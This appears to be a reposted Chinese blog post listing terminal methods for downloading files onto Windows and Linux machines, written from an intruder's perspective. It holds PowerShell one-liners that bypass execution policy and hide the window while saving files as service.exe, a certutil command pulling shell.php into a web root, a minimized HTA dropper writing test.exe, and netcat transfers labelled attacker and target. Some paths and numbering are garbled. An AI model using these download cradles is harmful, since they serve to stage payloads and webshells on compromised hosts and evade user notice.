终端方式下载文件(Dos & Unix/Linux终端)

Posted 旧时光生活圈

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了终端方式下载文件(Dos & Unix/Linux终端)相关的知识,希望对你有一定的参考价值。

我只介绍部分的下载命令,以及作出部分的演示,其他的大家自行作业,当然欢迎大家补充。


我挺喜欢bitsadmin的,如下:

1】Bitsadmin

命令模式:

bitsadmin /transfer n http://download.csdn.net/index.html e:\test.php 

终端方式下载文件(Dos & Unix/Linux终端)

当然还有更重要的powershell

2】Powershell

创建如下PSL脚本:

$p = New-Object System.Net.WebClient 

$p.DownloadFile("http://domain/file","C:%homepath%file") 

执行:

PS C:> .test.ps1

如果Powershell禁止执行了,使用如下命令:

C:>powershell set-executionpolicy unrestricted

亲自调试的一个psl命令如下,在dos中执行就可以:

powershell (new-object System.Net.WebClient).DownloadFile( 'http://ahcert.org.cn/page/anquan/down.html','e:/test.exe')

前几天看到的,powershell很多大佬都推荐,咱们也应该跟上时代的步伐了

powershell.exe -ExecutionPolicy bypass -cnoprofile -windowstyle hidden (new-objectsystem.net.webclient).downloadfile('http://download.csdn.net/index.html','service.exe')

或者,这个会一散而过,你懂的

powershell.exe -ExecutionPolicy bypass -windowstyle hidden (new-object system.net.webclient).downloadfile('http://download.csdn.net/index.html','2.php')

终端方式下载文件(Dos & Unix/Linux终端)

3】Certutil

DOS终端执行如下命令

certutil -urlcache -split -f http://www.baidu.com/shell.php d:\www\e.php

终端方式下载文件(Dos & Unix/Linux终端)

4】Hta

创建文件test.hta,然后双击运行即可

<html>

<head>

<script>

var Object = new ActiveXObject("MSXML2.XMLHTTP");

Object.open("GET","http://ahcert.org.cn/page/anquan/down.html",false);

Object.send();

if (Object.Status == 200)

{

var Stream = new ActiveXObject("ADODB.Stream");

Stream.Open();

Stream.Type = 1;

Stream.Write(Object.ResponseBody);

Stream.SaveToFile("e:/test.exe", 2);

Stream.Close();

}

window.close();

</script>

<HTA:APPLICATION ID="test"

WINDOWSTATE = "minimize">

</head>

<body>

</body>

</html>

5】Wget

如下

wget http://example.com/file

Linux:wget http://example.com/file.tar.gz

Windows:wget http://download.csdn.net/index.html -P /home/ubuntu/1.txt

6】Perl

脚本如下:

#!/usr/bin/perl 

use LWP::Simple; 

getstore("http://laimooc.cn/index.html", "file");

终端执行

root@kali:~# perl test.pl

7】Python

脚本如下:

#!/usr/bin/python 

import urllib2 

u = urllib2.urlopen('http://domain/file') 

localFile = open('local_file', 'w') 

localFile.write(u.read()) 

localFile.close()

终端执行

root@kali:~# python test.py

8】Ruby

脚本如下:

#!/usr/bin/ruby

require 'net/http'

Net::HTTP.start("www.domain.com") { |http|

r = http.get("/file")

open("save_location", "wb") { |file|

file.write(r.body)

}

}

终端执行

root@kali:~# ruby test.rb

9】Php

脚本如下:

#!/usr/bin/php 

<?php $data = @file("http://example.com/file");

$lf = "local_file";         

$fh = fopen($lf, 'w');         

fwrite($fh, $data[0]);         

fclose($fh); 

?>

执行  

root@kali:~# php test.php

10】Ftp

如下:

ftp 127.0.0.1 username password get file exit

11】Tftp

如下

tftp -i host GET C:%homepath%file location_of_file_on_tftp_server

tftp -i 192.168.174.151 GET d:\soft\tftp\test.exe e:\test.exe

5】Visual Basic

创建如下VBS脚本:


Set args = Wscript.Arguments

Url = "http://domain/file"

dim xHttp: Set xHttp = createobject("Microsoft.XMLHTTP")

dim bStrm: Set bStrm = createobject("Adodb.Stream")

xHttp.Open "GET", Url, False

xHttp.Send

with bStrm

    .type = 1 '

    .open

    .write xHttp.responseBody

    .savetofile " C:\%homepath%\file", 2 '

end with

执行

C:>cscript test.vbs

13】Netcat

attacker执行如下命令:

cat file | nc -l 1234

target执行:

nc host_ip 1234 > file

14】Window 文件共享

使用如下命令:

net use x: \127.0.0.1\share /user:example.comuserID myPassword

15】记事本:

打开记事本

文件,打开

https://evi1cg.me/archives/13-ways-to-download-a-file.html
http://wooyun.jozxing.cc/static/drops/tips-14101.html 

文章所使用图片不打码,欢迎大家留言补充技术哇

以上是关于终端方式下载文件(Dos & Unix/Linux终端)的主要内容,如果未能解决你的问题,请参考以下文章

基本DOS命令

基本DOS命令

基本DOS命令

基本DOS命令

最基本的DOS命令

windows下使用curl命令 && 常用curl命令